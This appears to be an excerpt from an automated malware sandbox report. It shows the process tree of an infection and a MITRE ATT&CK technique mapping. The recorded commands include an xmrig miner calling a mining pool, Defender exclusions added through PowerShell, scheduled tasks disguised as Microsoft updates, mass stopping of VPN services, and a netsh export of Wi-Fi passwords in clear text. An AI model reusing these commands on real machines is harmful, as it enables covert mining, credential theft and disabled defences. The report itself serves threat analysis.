      schtasks /Query /TN "RuntimeBrokerUpdate"
      4⤵
      PID:2636
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /Create /TN "RuntimeBrokerUpdate" /TR "\"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe\" HIDDEN" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4936
  - - C:\Users\Admin\AppData\Local\Temp\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig.exe" -o pool.supportxmr.com:3333 -u 44kBmKEwGpWTULKYxLh1DUXgrMEpdPx5fAskPCQTVHxkKxGDLsXeQ68jLWjdAhySSggwfiQCsdRd2fKU7NzRh9NAT4X2o6f -p "Admin" -k --cpu-max-threads-hint=30 --donate-level=1
      4⤵
      PID:5092
  - - C:\Users\Admin\AppData\Local\Temp\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig.exe" -o pool.supportxmr.com:3333 -u 44kBmKEwGpWTULKYxLh1DUXgrMEpdPx5fAskPCQTVHxkKxGDLsXeQ68jLWjdAhySSggwfiQCsdRd2fKU7NzRh9NAT4X2o6f -p "Admin" -k --cpu-max-threads-hint=95 --donate-level=1
      4⤵
      PID:5428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\DanartStub.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3464
- - C:\Users\Admin\AppData\Local\Temp\DanartStub.exe
    "C:\Users\Admin\AppData\Local\Temp\DanartStub.exe"
    3⤵
    PID:3340
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /create /f /tn "MicrosoftEdgeUpdateTaskUser" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wupdate.exe\"" /sc onlogon /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1092
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /create /f /tn "OneDriveReportingTaskUser" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wupdate.exe\"" /sc onlogon /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1944
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /create /f /tn "MicrosoftWindowsUpdateHealth" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wupdate.exe\"" /sc onlogon /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5572
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "OpenVPNService"
      4⤵
      Launches sc.exe
      PID:2052
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "OpenVPNServiceInteractive"
      4⤵
      Launches sc.exe
      PID:5084
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "OpenVPNServiceLegacy"
      4⤵
      PID:3352
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "nordvpnd"
      4⤵
      Launches sc.exe
      PID:5980
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ExpressVPNService"
      4⤵
      Launches sc.exe
      PID:984
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ProtonVPN Service"
      4⤵
      PID:4588
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "WindscribeService"
      4⤵
      Launches sc.exe
      PID:3076
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Mullvad VPN"
      4⤵
      Launches sc.exe
      PID:3596
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Surfshark Service"
      4⤵
      Launches sc.exe
      PID:4768
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Hamachi2Svc"
      4⤵
      Launches sc.exe
      PID:2432
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "LMIGuardianSvc"
      4⤵
      PID:2740
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "CyberGhost 6 Service"
      4⤵
      Launches sc.exe
      PID:2180
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "pia-service"
      4⤵
      PID:5640
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "IPVanishService"
      4⤵
      Launches sc.exe
      PID:3520
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "TunnelBear Service"
      4⤵
      Launches sc.exe
      PID:108
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "WarpService"
      4⤵
      PID:2764
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "CloudflareWARP"
      4⤵
      PID:3336
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "WireGuardTunnel"
      4⤵
      Launches sc.exe
      PID:2692
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Shadowsocks"
      4⤵
      Launches sc.exe
      PID:4896
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ShadowsocksR"
      4⤵
      PID:4908
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "clash"
      4⤵
      PID:4972
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "clash-meta"
      4⤵
      Launches sc.exe
      PID:2356
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "sing-box"
      4⤵
      Launches sc.exe
      PID:3500
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "frpc"
      4⤵
      Launches sc.exe
      PID:1388
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "frps"
      4⤵
      Launches sc.exe
      PID:2900
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "SoftEther VPN Server"
      4⤵
      Launches sc.exe
      PID:4936
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "SoftEther VPN Client"
      4⤵
      PID:5796
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Radmin VPN"
      4⤵
      Launches sc.exe
      PID:1572
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "OpenVPNService"
      4⤵
      PID:4572
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "OpenVPNServiceInteractive"
      4⤵
      PID:4692
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "OpenVPNServiceLegacy"
      4⤵
      PID:5100
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "nordvpnd"
      4⤵
      Launches sc.exe
      PID:2944
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ExpressVPNService"
      4⤵
      Launches sc.exe
      PID:4240
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ProtonVPN Service"
      4⤵
      PID:4348
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "WindscribeService"
      4⤵
      Launches sc.exe
      PID:2352
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Mullvad VPN"
      4⤵
      Launches sc.exe
      PID:5480
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Surfshark Service"
      4⤵
      PID:3548
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Hamachi2Svc"
      4⤵
      Launches sc.exe
      PID:3404
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "LMIGuardianSvc"
      4⤵
      PID:2020
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "CyberGhost 6 Service"
      4⤵
      Launches sc.exe
      PID:3084
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "pia-service"
      4⤵
      Launches sc.exe
      PID:4352
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "IPVanishService"
      4⤵
      Launches sc.exe
      PID:2092
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "TunnelBear Service"
      4⤵
      Launches sc.exe
      PID:5392
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "WarpService"
      4⤵
      Launches sc.exe
      PID:5984
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "CloudflareWARP"
      4⤵
      PID:3608
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "WireGuardTunnel"
      4⤵
      Launches sc.exe
      PID:3372
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Shadowsocks"
      4⤵
      PID:2128
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ShadowsocksR"
      4⤵
      Launches sc.exe
      PID:4608
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "clash"
      4⤵
      Launches sc.exe
      PID:884
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "clash-meta"
      4⤵
      PID:4604
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "sing-box"
      4⤵
      PID:2696
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "frpc"
      4⤵
      PID:3308
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "frps"
      4⤵
      Launches sc.exe
      PID:5348
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "SoftEther VPN Server"
      4⤵
      PID:3172
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "SoftEther VPN Client"
      4⤵
      Launches sc.exe
      PID:2424
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Radmin VPN"
      4⤵
      PID:256
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c netsh winhttp reset proxy
      4⤵
      Executes a command shell one-liner
      PID:4856
    - - C:\Windows\system32\netsh.exe
        
        netsh winhttp reset proxy
        5⤵
        
        PID:4540
  - - C:\Windows\SYSTEM32\ipconfig.exe
      "ipconfig.exe" /flushdns
      4⤵
      Gathers network information
      PID:4152
  - - C:\Windows\SYSTEM32\ipconfig.exe
      "ipconfig.exe" /release
      4⤵
      Gathers network information
      PID:2328
  - - C:\Windows\SYSTEM32\ipconfig.exe
      "ipconfig.exe" /renew
      4⤵
      Gathers network information
      PID:2980
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$r = route print -4; foreach ($line in $r) { if ($line -match '^\s+0\.0\.0\.0\s+0\.0\.0\.0') { $parts = $line.Trim() -split '\s+'; if ($parts.Count -ge 3 -and $parts[2] -ne 'On-link' -and $parts[2].Substring(0,1) -ne '1') { try { route delete 0.0.0.0 mask 0.0.0.0 $parts[2] | Out-Null } catch {} } } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4276
    - - C:\Windows\system32\ROUTE.EXE
        
        "C:\Windows\system32\ROUTE.EXE" print -4
        5⤵
        
        PID:756
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\UnixStealerWifiExport_f6f6a74a943e4c6f971828e118c121ed"
      4⤵
      PID:2852
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WinRing0x64.sys'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\xmrig.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1368
- C:\Users\Admin\AppData\Local\Temp\8hnhsuwfFGd.exe
  "C:\Users\Admin\AppData\Local\Temp\\8hnhsuwfFGd.exe"
  2⤵
  - Executes dropped EXE
  PID:3656
- C:\Users\Admin\AppData\Local\Temp\XRfD6M7FCmhxo.exe
  "C:\Users\Admin\AppData\Local\Temp\\XRfD6M7FCmhxo.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:5048
- C:\Users\Admin\AppData\Local\Temp\n5s2Q9YyqJTZg.exe
  "C:\Users\Admin\AppData\Local\Temp\\n5s2Q9YyqJTZg.exe"
  2⤵
  PID:3332
- - C:\Windows\SYSTEM32\ipconfig.exe
    ipconfig.exe /jdhf3984590wejkfjlsf094
    3⤵
    - Gathers network information
    PID:5876
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Remote.au3
    3⤵
    PID:1960
- C:\Users\Admin\AppData\Local\Temp\EespBGEnO9of.exe
  "C:\Users\Admin\AppData\Local\Temp\\EespBGEnO9of.exe"
  2⤵
  PID:2780
- C:\Users\Admin\AppData\Local\Temp\KuoGNauqK.exe
  "C:\Users\Admin\AppData\Local\Temp\\KuoGNauqK.exe"
  2⤵
  PID:1764
- C:\Users\Admin\AppData\Local\Temp\6FXbEHNNI.exe
  "C:\Users\Admin\AppData\Local\Temp\\6FXbEHNNI.exe"
  2⤵
  PID:4592
- C:\Users\Admin\AppData\Local\Temp\tUl6tEfHvL.exe
  "C:\Users\Admin\AppData\Local\Temp\\tUl6tEfHvL.exe"
  2⤵
  PID:4720

C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
1⤵
PID:5796

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wupdate.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wupdate.exe"
1⤵
PID:360
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /f /tn "MicrosoftEdgeUpdateTaskUser" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wupdate.exe\"" /sc onlogon /rl highest
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1560
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /f /tn "OneDriveReportingTaskUser" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wupdate.exe\"" /sc onlogon /rl highest
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2364
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /f /tn "MicrosoftWindowsUpdateHealth" /tr "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\wupdate.exe\"" /sc onlogon /rl highest
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5516
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "OpenVPNService"
  2⤵
  PID:1980
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "OpenVPNServiceInteractive"
  2⤵
  PID:792
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "OpenVPNServiceLegacy"
  2⤵
  - Launches sc.exe
  PID:2492
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "nordvpnd"
  2⤵
  PID:4528
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "ExpressVPNService"
  2⤵
  PID:2444
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "ProtonVPN Service"
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "WindscribeService"
  2⤵
  PID:3452
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Mullvad VPN"
  2⤵
  PID:5532
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Surfshark Service"
  2⤵
  - Launches sc.exe
  PID:5844
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Hamachi2Svc"
  2⤵
  PID:2952
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "LMIGuardianSvc"
  2⤵
  PID:5564
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "CyberGhost 6 Service"
  2⤵
  - Launches sc.exe
  PID:1180
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "pia-service"
  2⤵
  PID:3776
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "IPVanishService"
  2⤵
  PID:2268
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "TunnelBear Service"
  2⤵
  - Launches sc.exe
  PID:4912
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "WarpService"
  2⤵
  - Launches sc.exe
  PID:3268
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "CloudflareWARP"
  2⤵
  - Launches sc.exe
  PID:1668
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "WireGuardTunnel"
  2⤵
  PID:5052
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Shadowsocks"
  2⤵
  - Launches sc.exe
  PID:4804
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "ShadowsocksR"
  2⤵
  - Launches sc.exe
  PID:3412
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "clash"
  2⤵
  PID:6040
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "clash-meta"
  2⤵
  - Launches sc.exe
  PID:5204
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "sing-box"
  2⤵
  - Launches sc.exe
  PID:1196
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "frpc"
  2⤵
  PID:5064
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "frps"
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "SoftEther VPN Server"
  2⤵
  - Launches sc.exe
  PID:1172
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "SoftEther VPN Client"
  2⤵
  - Launches sc.exe
  PID:5676
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Radmin VPN"
  2⤵
  PID:4204
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "OpenVPNService"
  2⤵
  PID:1344
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "OpenVPNServiceInteractive"
  2⤵
  PID:1868
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "OpenVPNServiceLegacy"
  2⤵
  - Launches sc.exe
  PID:1776
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "nordvpnd"
  2⤵
  - Launches sc.exe
  PID:3612
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "ExpressVPNService"
  2⤵
  PID:4236
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "ProtonVPN Service"
  2⤵
  - Launches sc.exe
  PID:2768
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "WindscribeService"
  2⤵
  - Launches sc.exe
  PID:5784
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Mullvad VPN"
  2⤵
  - Launches sc.exe
  PID:4404
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Surfshark Service"
  2⤵
  - Launches sc.exe
  PID:5792
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Hamachi2Svc"
  2⤵
  - Launches sc.exe
  PID:2036
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "LMIGuardianSvc"
  2⤵
  - Launches sc.exe
  PID:5828
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "CyberGhost 6 Service"
  2⤵
  - Launches sc.exe
  PID:2632
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "pia-service"
  2⤵
  - Launches sc.exe
  PID:1076
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "IPVanishService"
  2⤵
  - Launches sc.exe
  PID:2376
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "TunnelBear Service"
  2⤵
  PID:2156
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "WarpService"
  2⤵
  PID:2244
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "CloudflareWARP"
  2⤵
  - Launches sc.exe
  PID:3392
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "WireGuardTunnel"
  2⤵
  PID:2852
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Shadowsocks"
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "ShadowsocksR"
  2⤵
  PID:3752
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "clash"
  2⤵
  PID:4980
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "clash-meta"
  2⤵
  PID:2440
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "sing-box"
  2⤵
  - Launches sc.exe
  PID:4148
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "frpc"
  2⤵
  - Launches sc.exe
  PID:2508
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "frps"
  2⤵
  - Launches sc.exe
  PID:1972
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "SoftEther VPN Server"
  2⤵
  - Launches sc.exe
  PID:2760
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "SoftEther VPN Client"
  2⤵
  - Launches sc.exe
  PID:4388
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" stop "Radmin VPN"
  2⤵
  - Launches sc.exe
  PID:5992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh winhttp reset proxy
  2⤵
  - Executes a command shell one-liner
  PID:4828
- - C:\Windows\system32\netsh.exe
    netsh winhttp reset proxy
    3⤵
    PID:3068
- C:\Windows\SYSTEM32\ipconfig.exe
  "ipconfig.exe" /flushdns
  2⤵
  - Gathers network information
  PID:5440
- C:\Windows\SYSTEM32\ipconfig.exe
  "ipconfig.exe" /release
  2⤵
  - Gathers network information
  PID:4596
- C:\Windows\SYSTEM32\ipconfig.exe
  "ipconfig.exe" /renew
  2⤵
  - Gathers network information
  PID:3384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$r = route print -4; foreach ($line in $r) { if ($line -match '^\s+0\.0\.0\.0\s+0\.0\.0\.0') { $parts = $line.Trim() -split '\s+'; if ($parts.Count -ge 3 -and $parts[2] -ne 'On-link' -and $parts[2].Substring(0,1) -ne '1') { try { route delete 0.0.0.0 mask 0.0.0.0 $parts[2] | Out-Null } catch {} } } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4344
- - C:\Windows\system32\ROUTE.EXE
    "C:\Windows\system32\ROUTE.EXE" print -4
    3⤵
    PID:3876
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\UnixStealerWifiExport_184cb9921936410d9000b52b52e74576"
  2⤵
  PID:3220
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1180

C:\Windows\extasa\username
"C:\Windows\extasa\username"
1⤵
PID:1344

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489